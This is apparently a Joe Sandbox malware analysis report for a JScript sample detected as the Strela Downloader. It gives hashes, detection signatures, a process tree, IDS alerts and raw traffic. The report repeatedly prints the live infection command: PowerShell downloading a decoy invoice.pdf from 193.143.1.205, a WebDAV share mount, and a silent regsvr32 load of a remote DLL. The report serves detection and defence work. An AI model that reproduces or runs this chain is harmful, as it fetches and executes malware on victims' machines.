Edit tour

Windows Analysis Report
2280028191949810979.js

Overview

General Information

Sample name:	2280028191949810979.js
Analysis ID:	1587837
MD5:	5ef212dd4014767b76437eec5730abb1
SHA1:	f5d47c8557d514a4a3ded4be6fdc2611bd1e898e
SHA256:	14d851a4c340ad0990da1fbc9a45a210d8d8b3b55f311385212b666947adbfd5
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2716 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2280028191949810979.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6388 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2180 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1276 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1864 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6500 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1752,i,9126985181628110033,4976645191592009449,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1476 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2676 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1784 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2716	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6388, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2180, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6388, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2180, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2280028191949810979.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2280028191949810979.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2280028191949810979.js", ProcessId: 2716, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2676, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2280028191949810979.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, ProcessId: 6388, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2280028191949810979.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, ProcessId: 6388, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2280028191949810979.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, ProcessId: 6388, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2280028191949810979.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, ProcessId: 6388, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2280028191949810979.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, ProcessId: 6388, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2280028191949810979.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2280028191949810979.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2280028191949810979.js", ProcessId: 2716, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6388, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2180, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1476, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2676, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1784, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1476, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2676, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2280028191949810979.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132471511924197.dll, ProcessId: 6388, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:27:25.412903+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:27:23.174970+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2280028191949810979.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2280028191949810979.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:27:23 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 63 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

